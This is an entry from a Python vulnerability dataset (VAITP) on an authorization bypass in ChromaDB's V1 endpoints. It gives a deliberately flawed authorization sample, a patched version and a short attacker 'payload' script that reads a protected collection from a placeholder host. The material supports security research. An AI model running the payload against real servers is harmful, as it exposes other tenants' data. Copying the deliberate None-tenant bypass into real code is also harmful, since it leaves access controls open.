VAITP Dataset

← Back to the dataset

CVE-2026-45832

Authorization bypass in ChromaDB V1 endpoints due to None tenant/DB values.

  • CVSS 8.8
  • CWE-639
  • Authentication, Authorization, and Session Management
  • Remote

All V1 collection-level endpoints in ChromaDB's Python project pass None for the tenant and database to the authorization layer, allowing attackers to bypass authorization controls by using the V1 endpoints.

CVSS base score
8.8
Published
2026-06-12
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Incorrect Check
Category
Authentication, Authorization, and Session Management
Subcategory
Poorly Designed Access Controls
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
ChromaDB
Fixed by upgrading
Yes

Solution

Upgrade ChromaDB to version 0.4.24 or later.

Vulnerable code sample

import collections.abc

# Simplified representation of user permissions for demonstration.
# In a real system, this would be a database or a more complex auth service.
PERMISSIONS = {
    "tenant_A": {
        "database_1": {
            "authorized_user": ["get_collection"]
        }
    }
}

def _check_authorization(user: str, action: str, tenant: str, database: str) -> bool:
    """
    A simplified authorization function.
    This function contains the flawed logic that can be exploited.
    """
    # THE ROOT CAUSE OF THE VULNERABILITY:
    # If the tenant or database is None, the authorization check is incorrectly
    # bypassed, and access is granted by default. This might have been
    # intended for an internal or single-tenant context but is insecure
    # when exposed via an endpoint.
    if tenant is None or database is None:
        print(f"[AUTH-BYPASS] Access granted to user '{user}' because tenant/database was None.")
        return True

    # The correct, intended authorization logic for a multi-tenant system.
    tenant_permissions = PERMISSIONS.get(tenant, {})
    db_permissions = tenant_permissions.get(database, {})
    user_permissions = db_permissions.get(user, [])

    if action in user_permissions:
        print(f"[AUTH-OK] User '{user}' has '{action}' permission on '{tenant}/{database}'.")
        return True
    
    print(f"[AUTH-FAIL] User '{user}' denied '{action}' on '{tenant}/{database}'.")
    return False

def get_collection(name: str, user: str, tenant: str, database: str):
    """
    Represents the internal logic to retrieve a collection after an auth check.
    """
    if _check_authorization(user=user, action="get_collection", tenant=tenant, database=database):
        return f"Returning data for collection '{name}'."
    else:
        raise PermissionError("Access Denied.")

# This function represents a V1 collection-level API endpoint handler.
def v1_api_get_collection(request_data: collections.abc.Mapping):
    """
    This is the vulnerable V1 endpoint handler. It represents the state
    of the code BEFORE the fix was applied.
    """
    user_id = request_data.get("user_id")
    collection_name = request_data.get("collection_name")
    
    # THE FLAW:
    # The V1 endpoint handler calls the internal `get_collection` function
    # but hardcodes `None` for the tenant and database parameters. This
    # triggers the bypass logic in the `_check_authorization` function.
    return get_collection(
        name=collection_name,
        user=user_id,
        tenant=None,    # <-- VULNERABLE CODE
        database=None   # <-- VULNERABLE CODE
    )

Patched code sample

import typing

# In a real system, these would be configured defaults for the V1 API.
DEFAULT_TENANT = "default_tenant"
DEFAULT_DATABASE = "default_database"


class AuthorizationError(Exception):
    pass


def _authorize_and_execute(
    tenant: typing.Optional[str],
    database: typing.Optional[str],
    collection_name: str,
) -> None:
    """
    Represents the authorization layer. A robust implementation should
    explicitly reject None for tenant or database to prevent ambiguity.
    """
    if not tenant or not database:
        raise AuthorizationError("Access denied: Tenant and database must be specified.")
    # In a real implementation, this would check user permissions for the
    # given tenant, database, and collection.
    # print(f"Authorized access to '{collection_name}' in tenant '{tenant}'.")
    pass


# VULNERABLE V1 ENDPOINT (CONCEPTUAL)
#
# def vulnerable_v1_get_collection(collection_name: str):
#     """
#     The vulnerability was passing None for tenant and database,
#     which an insecure authorization layer might have allowed.
#     """
#     _authorize_and_execute(
#         tenant=None,          # <-- VULNERABILITY
#         database=None,        # <-- VULNERABILITY
#         collection_name=collection_name
#     )
#     # ... code to get collection ...


# FIXED V1 ENDPOINT
def fixed_v1_get_collection(collection_name: str) -> None:
    """
    This fixed version of the V1 endpoint retrieves the default tenant
    and database context and passes them to the authorization layer, ensuring
    that authorization checks are not bypassed.
    """
    # THE FIX:
    # Instead of passing None, the endpoint now uses the system's
    # default tenant and database for V1 API calls, ensuring that
    # the authorization layer receives the correct context.
    _authorize_and_execute(
        tenant=DEFAULT_TENANT,
        database=DEFAULT_DATABASE,
        collection_name=collection_name,
    )
    # ... proceed with logic to get the collection ...

Payload

import chromadb

# Attacker's client connecting to the vulnerable ChromaDB instance.
# The attacker does not need to specify the correct tenant or database.
attacker_client = chromadb.HttpClient(host='vulnerable-chromadb-host', port=8000)

# The name "some_protected_collection" is an example of a collection
# that exists in a separate tenant/database and should be inaccessible.
# The V1 endpoint vulnerability allows bypassing this isolation.
leaked_collection = attacker_client.get_collection(
    name="some_protected_collection"
)

# If successful, the attacker now has a handle to the collection
# and can read its data.
print(f"Successfully accessed collection: {leaked_collection.name}")
print(f"Number of items in collection: {leaked_collection.count()}")
print("Leaked documents:", leaked_collection.get(limit=5))

Cite this entry

@misc{vaitp:cve202645832,
  title        = {{Authorization bypass in ChromaDB V1 endpoints due to None tenant/DB values.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-45832},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45832/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::